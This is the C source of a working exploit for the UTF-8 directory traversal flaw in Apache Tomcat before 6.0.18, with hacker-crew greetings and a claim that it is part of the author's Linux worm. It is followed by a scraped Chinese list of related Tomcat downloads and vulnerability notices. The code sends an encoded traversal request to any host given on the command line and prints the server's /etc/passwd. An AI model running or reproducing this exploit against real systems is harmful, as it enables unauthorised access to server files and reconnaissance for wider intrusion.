/*Apache Tomcat < 6.0.18 UTF8 Directory Traversal Vulnerability get /etc/passwd Exploit
c0d3r: mywisdom
thanks for not being lame to change exploit author
tis is one of my linux w0rm module for user enumerations, i've dual os worm
thanks to: gunslinger,flyf666,petimati,kiddies,xtr0nic,c0mrade,n0te,v3n0m,iblis muda,cr4wl3r
thanks to: isa m said, whitecyber
thanks to all devilzc0de crews and members, all jasakom crews and members
greetz to inj3ct0r crews:
31337 Inj3ct0r Members:
cr4wl3r, The_Exploited, eidelweiss, SeeMe, XroGuE, agix, gunslinger_, Sn!pEr.S!Te, indoushka,
Sid3^effects, L0rd CrusAd3r, Th3 RDX, r45c4l, Napst3r?, etc..
not so good but worth to try if our target directory structure has /usr/local/wwwroot
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define EXPLOIT "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd HTTP/1.0\n\n"
#define RCVBUFSIZE 9999
#define tester "root:x"
void cls()
{
char esc = 27;
printf("%c%s",esc,"[2J");
printf("%c%s",esc,"[1;1H");
}
int main(int argc,char **argv)
{
if(argc<2)
{
/**checking argument to avoid memory wasting for useless variables in vma**/
cls();
printf("\nApache Tomcat < 6.0.18 UTF8 Directory Traversal Vulnerability get /etc/passwd Exploit\n");
printf("\nc0d3r: mywisdom\n");
printf("\nusage:./tomcatevil hotname\n");
exit(1);
}
else
{
int port=80;
char echobuf[RCVBUFSIZE];
int rval,sockfd, bytesrcv, totalbytes;
struct hostent *he;
struct sockaddr_in their_addr;
if((he=gethostbyname(argv[1])) == NULL)
{
perror("\nSorry please recheck your target hostname !\n");
exit(1);
}
else
{
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket()");
exit(1);
}
else
{
their_addr.sin_family = AF_INET;
printf("\n[-]Checking whether port %d opens or not\n",port);
their_addr.sin_port = htons(port);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), '\0', 8);
if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
{
perror("failed to connect !!!");
}
else
{
printf("\n[+]Port 80 opens !!! now sending your exploit to our target\n");
if(send(sockfd, EXPLOIT,999,0)==-1)
{
perror ("send");
}
else
{
totalbytes=0;
while (totalbytes < RCVBUFSIZE)
{
if ((bytesrcv = recv(sockfd, echobuf, RCVBUFSIZE - 1, 0)) <= 0)
{
}
else
{
totalbytes += bytesrcv;
echobuf[bytesrcv] = '\0';
}
totalbytes++;
}
}
if(echobuf)
{
rval=strstr (echobuf, tester);
if(rval)
{
printf(echobuf);
printf("\n[+]w00t!!! target vulnerable! exploitation success u may see /etc/passwd above !!!\n");
exit(1);
}
else
{
printf(echobuf);
printf("\n[-]target not vulnerable !!!\n");
exit(1);
}
}
}
close(sockfd);
}
}
}
}
分享到:
相关推荐
Apache Tomcat 最新源代码Apache Tomcat 最新源代码Apache Tomcat 最新源代码Apache Tomcat 最新源代码Apache Tomcat 最新源代码Apache Tomcat 最新源代码Apache Tomcat 最新源代码Apache Tomcat 最新源代码Apache ...
2020 年 2 月 4 日,Apache Tomcat 官方发布了新的版本,该版本修复了一 个影响所有版本(7.*、8.*、9.*)的文件包含漏洞,但官方暂未发布安全公告 2020 年 2 月 20 日,CNVD 发布了漏洞公告,对应漏洞编号:CNVD-...
apache-tomcat-10.0.8.exe、 apache-tomcat-10.0.8.tar.gz、 apache-tomcat-10.0.8.zip、 apache-tomcat-10.0.8-windows-x64.zip、 apache-tomcat-10.0.8-windows-x86.zip、 apache-tomcat-10.0.8-deployer.tar.gz、...
Apache_Tomcat存在安全限制绕过的漏洞预警 更新版本下载(漏洞修复后版本)
2021年1月5日,Apache Flink官方发布安全更新,修复了由蚂蚁安全非攻实验室发现提交的2个高危漏洞,漏洞之一就是Apache Flink目录遍历漏洞(CVE-2020-17519)。 Flink核心是一个流式的数据流执行引擎,其针对数据流的...
2021年1月5日,Apache Flink官方发布安全更新,修复了由蚂蚁安全非攻实验室发现提交的2个高危漏洞,漏洞之一就是Apache Flink目录遍历漏洞(CVE-2020-17519)。 Flink核心是一个流式的数据流执行引擎,其针对数据流的...
apache Tomcat 漏洞
2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器...
Apache Tomcat 6高级编程part1
开发工具 apache-tomcat-8.0.41-windows-x86开发工具 apache-tomcat-8.0.41-windows-x86开发工具 apache-tomcat-8.0.41-windows-x86开发工具 apache-tomcat-8.0.41-windows-x86开发工具 apache-tomcat-8.0.41-...
Apache Tomcat6.0.32 API 参考手册,从官方源代码包中的javadoc中提取。
9 月 19 日,腾讯云安全中心监测到 Apache Tomcat 修复了2个严重级别的漏洞, 分别为: 信息泄露漏洞(CVE-2017-12616)、远程代码执行漏洞(CVE-2017-12615),在某些场景下,攻击者将分别能通过这两个漏洞,获取...
apache-tomcat-7.0.108(UTF8).zip
Apache tomcat远程代码执行代码
Apache tomcat6.0 java开发工具 Apache tomcat6.0 Apache tomcat6.0
Apache tomcat8
Apache Tomcat 6高级编程
apache-tomcat-8.0.46 Linux版本 tomcat8含有AJP漏洞的版本,可以用于漏洞测试。
压缩包中含有详细的文档说明、操作指南以及所需要的附件。本作者亲自验证有效。如果有问题,请联系作者QQ。